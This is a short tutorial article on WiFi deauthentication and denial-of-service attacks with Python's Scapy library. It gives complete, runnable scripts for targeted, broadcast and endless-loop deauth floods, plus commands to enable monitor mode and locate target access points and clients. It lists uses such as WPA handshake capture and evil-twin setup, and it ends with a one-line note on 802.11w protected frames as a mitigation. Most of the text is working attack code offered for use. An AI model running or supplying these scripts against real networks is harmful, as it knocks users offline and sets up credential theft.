Scapy - WiFi DoS and Deauth Attacks

2 min readArticle

Scapy in the context of WiFi deauth/DoS attacks — using Python packet crafting to send deauthentication frames and disrupt wireless clients. This is the programmatic approach vs using aireplay-ng directly.

For the full Scapy reference, see ../packet-injection/scapy

Deauth Attack with Scapy

The deauth frame is a management frame that tells a client "you've been disconnected." In WPA2, these frames are unauthenticated — anyone can send them, so they're trivially spoofable.

python

#!/usr/bin/env python3
from scapy.all import *
import sys

def deauth_attack(target_mac, ap_mac, interface="wlan0mon", count=100):
    """
    Send deauthentication frames to kick a client off a network.
    Must run with sudo and interface in monitor mode.
    """
    # Build deauth frame
    dot11 = Dot11(
        addr1=target_mac,   # Destination (client)
        addr2=ap_mac,       # Source (spoofed as AP)
        addr3=ap_mac        # BSSID
    )
    
    frame = RadioTap() / dot11 / Dot11Deauth(reason=7)
    
    print(f"[*] Sending {count} deauth frames to {target_mac}")
    sendp(frame, iface=interface, count=count, inter=0.1, verbose=1)

# Broadcast deauth — kick ALL clients from the AP
def broadcast_deauth(ap_mac, interface="wlan0mon"):
    dot11 = Dot11(
        addr1="ff:ff:ff:ff:ff:ff",  # Broadcast
        addr2=ap_mac,
        addr3=ap_mac
    )
    frame = RadioTap() / dot11 / Dot11Deauth(reason=7)
    sendp(frame, iface=interface, loop=1, inter=0.05, verbose=1)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_mac> <ap_mac> [iface]")
        sys.exit(1)
    
    target = sys.argv[1]
    ap = sys.argv[2]
    iface = sys.argv[3] if len(sys.argv) > 3 else "wlan0mon"
    
    deauth_attack(target, ap, iface)

Setup Required

bash

# Put adapter in monitor mode
sudo airmon-ng start wlan0

# Or manually
sudo ip link set wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up

# Find target AP and client MACs first
sudo airodump-ng wlan0mon

Continuous Attack Loop

python

from scapy.all import *
import time

def continuous_deauth(target, ap, iface="wlan0mon"):
    dot11 = Dot11(addr1=target, addr2=ap, addr3=ap)
    frame = RadioTap() / dot11 / Dot11Deauth(reason=7)
    
    try:
        while True:
            sendp(frame, iface=iface, count=10, inter=0.05, verbose=0)
            print(f"[*] Deauth burst sent to {target}")
            time.sleep(0.5)
    except KeyboardInterrupt:
        print("\n[!] Stopped")

Why Deauth Attacks?

Force WPA handshake capture — kick a client off, capture the handshake when it reconnects
Evil twin prep — deauth from real AP so client connects to yours
DoS — disrupt a network without any credentials
Test client behavior — see how devices react to disconnection

Deauth Reason Codes

Common reason codes (reason field in Dot11Deauth):

1 — Unspecified reason
7 — Class 3 frame received from nonassociated station (most common for attacks)
3 — Deauthenticated because leaving or have left IBSS or ESS

Mitigation

802.11w (Protected Management Frames / PMF) prevents deauth attacks by authenticating management frames. WPA3 requires PMF. Look for PMF in iw list output.